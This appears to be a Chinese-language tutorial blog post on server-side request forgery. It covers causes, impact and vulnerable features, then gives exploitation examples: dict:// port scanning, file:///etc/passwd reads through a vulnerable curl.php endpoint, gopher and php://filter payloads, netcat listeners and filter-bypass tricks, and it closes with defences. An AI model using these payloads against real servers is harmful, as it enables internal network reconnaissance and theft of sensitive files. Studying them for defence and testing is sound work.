OWASPtop10——SSRF服务端请求伪造漏洞
本文最后更新于 2024-07-26,文章内容可能已经过时。
SSRF服务端请求伪造漏洞
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
1.SSRF漏洞简介
什么是SSRF
SSRF ( server-side request forge 服务端请求伪造)是攻击者构造的攻击链接传给服务端执行造成漏洞,一般来在外网探测或攻击内网服务
2.漏洞形成原因
大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤和限制,导致攻击者可以传入任意地址来让后端服务器对其发送请求,并返回改目标地址请求的数据
最常见的例子:攻击者传入一个未验证的URL,后端代码直接请求这个URL,就会造成SSRF漏洞。
3.与CSRF的区别
CSRF (跨站请求伪造· Cross-site request forgery )发生条件:当用户在安全网站 A 登录后保持登录的状态.并同时浏览了保存有恶意代码的另一个网站 B ,此时 B 网站劫持用户的浏览器并以用户登录的状态对 A 网站发送非用广本人操作的情求。
CSRF 是服务器端没有对用户提交的数据进行随机值校验.目对http请求内的refer请求包内的 refer 字校校验不严.导致攻击者可以利用用户的 Cookie 信皂伪造用户请求发送至服务器
SSRF 是服务器对用户提供的可控 URL 过于信任,没有对攻击者提供的 URL 进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或者其地服务器。
4.SSRF攻击的危害
1 获取 web 应用可达服务器服务的banner信息(开发商,软件名称等),以及攻集内网服务的指纹信息(开放的端口,中间件版本)、内部网络和端囗信息
2 攻击允许在内网的系统或应程序,对含有漏洞的内网服务实施攻击获取webshell (Struts2命令执行,通过Redis未授权等)
3 通过Url Scheme读取内部资源或让服务执行相应攻击动作
5.SSRF漏洞场景
1.从web功能点去寻找
通过URL地址分享网页内容
如:微博图片分享等
通过目标地址获取了图像信息,如果此功能中没有对目标地址的范围做过滤与限制,则可能存在SSRF漏洞
如图存在SSRF漏洞
常见内网IP段
局域网,解决了ipv4地址不够用的问题。同时方便维护管理。
局域网地址范围分三类,以下IP段为内网IP段:
C类:192.168.0.0 - 192.168.255.255
B类:172.16.0.0 - 172.31.255.255
A类:10.0.0.0 - 10.255.255.255
2.在线翻译
3.通过URL地址加载与下载图片
开发者为了更好的用户体验,通常对图片做一些调整,而没有直接使用img标签,就可能造成SSRF漏
4.图片文章收藏功能
类似于1中分享获取URL地址里的title及文本内容作为显示
5.从URL关键字寻找
从url的关键字寻找SSRF漏洞
如:share,wap,url,link,src,source,target,u,3g,display,sourceURL,imageURL,domain等关键字
总结:
SSRF漏洞场景通常出现在
1.能够对外部发起网络请求的地方,如下载图片等
2.从服务器请求资源,如请求文本信息的地方
6.SSRF漏洞利用
一.dict协议运用利用SSRF
dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,在SSRF如果可以使用此协议,就可以轻易获取服务器端口上运行的服务版本等信息
dict服务器和客户机使用TCP端口为2628
利用dict协议探测端口
本地利用:
# curl -v 'dict://127.0.0.1:22'
远程利用
# curl -v 'http://47.105.75.177:8080/vulnlab/ssrf1/curl.php?url=dict://139.9.198.30:22'
curl:一种命令行工具,作用是发出网络请求,获取数据
curl -v:显示HTTP通信的整个过程,包括端口链接和HTTP request请求头请求
二.file协议运用利用SSRF
file协议主要用于文件系统中获取文件内容
本地利用:
# curl -v 'file:///etc/passwd'
远程利用:
# curl -v 'http://47.105.75.177:8080/vulnlab/ssrf1/curl.php?url=file:///etc/passwd'
如图能获取到passwd的内容
三.gopher协议运用利用SSRF
nc监听6789端口
nc -lvvp 6789
利用gopher协议对服务器(10.1.1.9)的6789端口输入一条信息
gophe://10.1.1.9:6789/_Hi%0aEveryone%0athis%20is%20just%20a%20test
这里写的是利用gopher协议要传递的内容
其中%0a是换行,%20是空格
监听6789端口后成功读取到10.1.1.9:6789这个服务器所返回的信息
四.SSRF IN php
1.有回显SSRF IN PHP
PHP中下面函数使用不当会导致SSRF漏洞发生
如:
curl_exec()
file_get_contents()
fsockopen()
curl_exec()
前端传进来的url被后端使用curl_exec()进行了请求,然后将请求的结果又返回给了前端
利用方法:
使用dict协议进行内外网端口探测: --dict//
http://47.105.177:8080/vulnlab/ssrf/ssrf1/curl.php?url=dict://47.101.214.85:24680
http://47.105.177:8080/vulnlab/ssrf/curl.php?url=dict://127.0.0.1:22
探测端口:
说明访问到了,可以看看其他端口并访问
![image-20231117135656336](
使用burp进行端口爆破
如图这里爆破到了80端口,显示的是Apache的服务
nc端口监听
nc -lvvp 3389
http://47.105.75.177:8080/vulnlab/ssrf/ssrf1/curl.php?url=dict://47.101.214.85:3389
使用file协议进行敏感文件的读取
linux:
file:///etc/passwd
windows:
file://c:\windows\win.ini
如下图成功使用file协议访问到了服务器下/etc/passwd文件的内容
![image-20231117140335730](
file_get_contents()
使用php的伪协议进行服务器源码内容文件读取:
php://filter 伪协议
如下意思是fgc.php文件的内容通过base64编码后通过php伪协议处理,显示的内容为base64编码后的内容。可以使用base64解码器解码最终获取真实数据
php://filter/read=convert:base64-encode/resource=fgc.php
fsockopen()
fsockopen() 打开一个网络链接或者unix套接字链接
fsock只能针对ip地址或者域名进行访问,无法对加了http协议的地址进行解析访问
2.无回显SSRF IN PHP
HTTP带外通道
Burpsuit Collaborator Client
点击copy to clipboard,将拷贝的内容复制到浏览器运行
DNSlog
http://www.dnslog.cn/
7.SSRF漏洞利用限制绕过:
1.利用解析URL绕过:
某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤,这时可能会出现对URL参数解析不当,导致可能绕过过滤
如:访问:http://www.baidu.com@10.10.10.10与访问10.10.10.10的内容一致(10.10.10.10是内网的ip,可以是任意的一个ip)
2.IP地址转换成进制绕过:
例如 192.168.0.1 这个地址可以改写成:
8进制:0300.0250.0.1
16 进制: 0xC0.0xA8.0.1
10 进制整数格式: 3232235521
16 进制整数格式: 0xCOA80001
在线地址转换:
https://tool.oschina.net/hexconvert/
http://tools.bugscaner.com/iptoint.html
3.添加端口可能绕过正则匹配:
如10.10.10.10:80
乌云的案列:
https://shuimugan.com/bug/view?bug no=61850
4.利用xip.io、xip.name绕过:
当我们访问这个网站的子域名时,如 192.168.0.1.xip.io, 会自动重定向到 192 .168.0.1因此可以利用 302 跳转进行绕过,即IP地址设为 ip.xip.io 或 www.ip.xip.io
5.短地址的绕过:
内网IP地址有时会被正则表达式过滤掉,可以通过短地址的方式绕过,使用http://tinyurl.com提供的短地址服务,如:
新郎短地址生成器:
https://sina.lt/
6.利用句号绕过:
可以在中间加入中文句号进行绕过
127。0。0。1 >>>> 127.0.0.1
8.SSRF漏洞的防御:
1.过滤返回信息,验证远程服务器对请求的响应。
2.统一错误信息
3.限制请求的端口为http常用的端口
4.设置黑名单内网ip
5.禁用不需要的协议,仅允许http和https请求
总结:
- 感谢你赐予我前进的力量